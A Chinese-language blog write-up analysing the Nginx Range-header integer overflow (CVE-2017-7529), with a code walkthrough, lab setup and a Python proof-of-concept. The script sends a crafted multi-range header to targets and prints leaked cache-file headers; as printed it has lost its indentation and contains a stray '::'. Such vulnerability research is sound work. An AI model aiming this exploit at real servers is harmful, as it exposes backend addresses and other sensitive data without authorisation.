前言
Nginx 是一个高性能的 HTTP 和反向代理服务器,从很早之前的版本,它便支持类似 Squid 的缓存功能。Nginx 的 web 缓存服务主要由 proxy_cache 相关命令集和 fastcgi_cache 相关命令集构成,前者用于反向代理时对后端内容源服务器进行缓存,后者主要用于对 FastCGI 的动态程序进行缓存。这次的 Nginx 整型溢出漏洞(CVE-2017-7529)便是针对 Nginx 服务器开启缓存功能这种情况的。通过在请求里构造恶意的 Range 字段,可以读取缓存文件的头部信息,缓存文件头可能包含后端服务器的IP地址或其它敏感信息。
什么是 Range
HTTP 协议从 1.1 版本开始支持分段获取文件内容,这一功能为并行下载和断点续传提供了技术支持。当客户端请求一个较大的资源时,就可以使用 Range 进行分段请求。实现方法是在请求的 Header 里设置 Range 字段,此时服务器的响应中会包含 Content-Range 字段。
一般情况下,请求头中的 Range 字段有两种写法:
- Range: bytes=start-end
- Range: bytes=-end
第一种写法表示访问从 start 开始,到 end 结束的字节内容,如 Range: bytes=0-1024 表示访问请求资源的 0 到 1024 字节内容;第二种写法表示访问请求资源最后的 end 字节内容,如 Range: bytes=-100 表示访问请求资源的最后 100 字节内容。
对于普通文件来说,Range 的开始和结束并不会有什么影响,因为服务器返回的就是完整文件的一部分,但是缓存文件不同,它和普通的文件相比额外拥有一个文件头,里面保存了一些服务器的配置信息(正常情况下服务器是不会返回缓存文件头部的)。所以,当我们针对一个缓存文件进行请求时,如果可以绕过服务器限制,使缓存文件被完整的返回,这时只要控制 Range 的起始字节为一个合理的负值,就可以读到缓存文件头部。
我下载了 1.12.0 版本的 Nginx,对漏洞的产生进行了简单的分析。
漏洞分析
漏洞存在于 nginx-1.12.0/src/http/modules/ngx_http_range_filter_module.c 文件,文件内的 ngx_http_range_parse 函数负责解析 header 中的 Range 字段内容。函数的部分内容如下:
if 代码块对 Range 格式为 start-end 时的请求进行处理,其中 cutoff 和 cutlim 两个值保证了从 Range 字段取到的 start 值和 end 值始终为正数,这种情况下无法控制 start 为负值,所以我们需要使 if 条件为假,从而进入 else 语句,if 的条件是指针 p 不为 "-" ,所以 Range 使用 -end 格式就可以进入 else 代码块。此时的 suffix 被赋值为 1,程序向下执行:
这里先说明一下,图片里的 content_length 并不是缓存文件的完整长度,而且服务器返回给我们的不包含缓存文件头的文件长度,我们这里称它为"正常文件长度",之后会提到的完整的缓存文件长度我们称为"缓存文件长度"
suffix 为真时,Range 的 start 等于正常文件长度减去 end 的值,end 值为正常文件长度减去 1 。如果此时 end 值要比正常文件长度数值大的话,就可以将 start 解析为负值。与 Range 相关的还有一个 size 值,它是每段 Range 相加后的总长度:
在满足 start 比 end 小的条件时,size 就等于每段 Range 的长度之和。得到 size 的大小后会进行入下判断:
可以看到当 size 比 正常文件长度大时,服务器便不再对缓存文件进行分段操作,而是直接返回原始的缓存文件。
知道了程序的逻辑关系,就可以想办法绕过了。首先,为了使服务器返回原始的缓存文件,我们需要让 size 值满足大于正常文件长度的条件,但是如果一个 Range 比缓存文件长度大,又会使得读取字节超出文件范围,造成读取失败。所以这里需要设置两个 Range 值,第一个值用来控制读取文件的字节数在缓存文件长度范围内,第二个值用来保证 Range 的总长度大于正常文件的总长度。这样就成功绕过过滤器的限制,读取到缓存文件的头部。
环境搭建
我准备了两台虚拟机,用来对漏洞进行复现,发行版本如下:
- CentOS-7-x86_64-Minimal-1611 ,IP 192.168.6.158
- Archlinux-x86_64
首先在 CentOS 上搭建 Nginx 服务。
安装必要的 lib 库
yum install gcc-c++ wget
yum install pcre pcre-devel
yum install zlib zlib-devel
yum install openssl openssl-devel
下载 1.12.0 版本的 Nginx
wget http://nginx.org/download/nginx-1.12.0.tar.gz
解压
tar -zxvf nginx-1.12.0.tar.gz
安装 Nginx
cd nginx-1.12.0
./configure --prefix=/usr/local/nginx
make && make install
ln -s /usr/local/nginx/sbin/nginx /usr/bin
systemctl stop firewalld
nginx
Nginx 安装成功后,修改 Nginx 的配置文件
vi /usr/local/nginx/conf/nginx.conf
设置 Nginx 服务器反向代理百度,开启缓存功能,具体配置如下:
proxy_cache_key 用来指定生成的key的字段内容,用以区分缓存文件,这部分内容会在之后我们利用漏洞时被泄露。proxy_cache_path 设置了缓存文件的路径和参数。proxy_cache_valid 用来指定不同状态码下的缓存时间。server 代码块设置了代理的内容,并对响应头进行了一些设置。add_header X-Proxy-Cache 表示在响应头里添加一条 X-Proxy-Cache ,用以区分是否命中缓存,它一共有 5 种状态,MISS 表示未命中,请求被传送到后端;HIT 表示缓存命中;EXPIRED 表示缓存已经过期请求被传送到后端;UPDATING 表示正在更新缓存,将使用旧的应答;STALE 表示后端将得到过期的应答。
配置文件修改后,让 Nginx 重新加载配置
nginx -s reload
环境搭建完成,验证下是否可用。使用另一台虚拟机访问,获取响应头信息。
漏洞复现
根据之前的分析可知,我们需要两个 Range ,一小一大,小的 Range 需要满足小于缓存文件长度,大于正常文件长度的条件,而大的 Range 需要足够大。根据上面的图片可知,服务器返回的正常文件长度为 7877 ,假设我们想要额外读取缓存文件头部 600 字节,第一段 Range 就需要设置为 -7877-600 ,也就是 -8477。第二段 Range 既然要足够大,那我们就用 Range 可设置的最大值减去 第一段 Range 大小,这样两段 Range 相加得到的 size 依然是最大值,也就必然超过了正常文件长度。Range 可接受的数值为 64 位整型,最大为 0x8000000000000000 ,换成 10 进制是 9223372036854776000 ,减去 8477 等于 9223372036854767523,也就是第二段 Range 长度。
设置 Range 参数后再次请求缓存文件
可以看到成功读取了缓存文件头部
漏洞利用POC
# -*- coding=utf-8 -*-
import urllib2
import re
import urlparse
import HTMLParser
import ssl
import sys
try:
_create_unverified_https_context = ssl._create_unverified_context # Ignore certificate error
except AttributeError:
pass
else:
ssl._create_default_https_context = _create_unverified_https_context
def get_url(target):
url_list = []
if ':443' in target or ':8443' in target:
url = 'https://' + target
else:
url = 'http://' + target
res = urllib2.urlopen(url, timeout=30)
html = res.read()
root_url = res.geturl()
m = re.findall("<(?:img|link|script)[^>]*?(?:src|href)=('|\")(.*?)\\1", html, re.I)
if m:
for _ in m:
ParseResult = urlparse.urlparse(_[1])
if ParseResult.netloc and ParseResult.scheme:
if target == ParseResult.hostname:
url_list.append(HTMLParser.HTMLParser().unescape(_[1]))
elif not ParseResult.netloc and not ParseResult.scheme:
url_list.append(HTMLParser.HTMLParser().unescape(urlparse.urljoin(root_url, _[1])))
return list(set(url_list))
def check(target):
url_list = get_url(target)
# url_list[0] = 'http://192.168.6.158/img/bd_logo1.png'
# print url_list
info = '[-]No risk detected'
i = 0
for url in url_list:
if i >= 3: break
i += 1
l = 550
while l < 700:
headers = urllib2.urlopen(url,timeout=30).headers
file_len = headers["Content-Length"]
request = urllib2.Request(url)
request.add_header("Range", "bytes=-%d,-9223372036854%d"%(int(file_len)+l,776000-(int(file_len)+l)))
cacheres = urllib2.urlopen(request, timeout=30)
cont = cacheres.read(4048)
print cont
# print str(cacheres.headers)
if cacheres.code == 206 and "Content-Range" in cont and ": HIT" in str(cacheres.headers):
info = "[+]Target vulnerability!"
return info
else:
l += 50
return info
def main():
if len(sys.argv) != 2:
print 'Usage: python %s ip:port(default 80)' % sys.argv[0]
else:
target = sys.argv[1]
if ':' not in target:
target = target + ':80'
try:
print check(target)
except Exception,e:
print '[-]Error: ' + str(e)
exit(0)
if __name__=='__main__'::
main()
效果图:
作者: JenI 转载请注明出处,谢谢
Comments !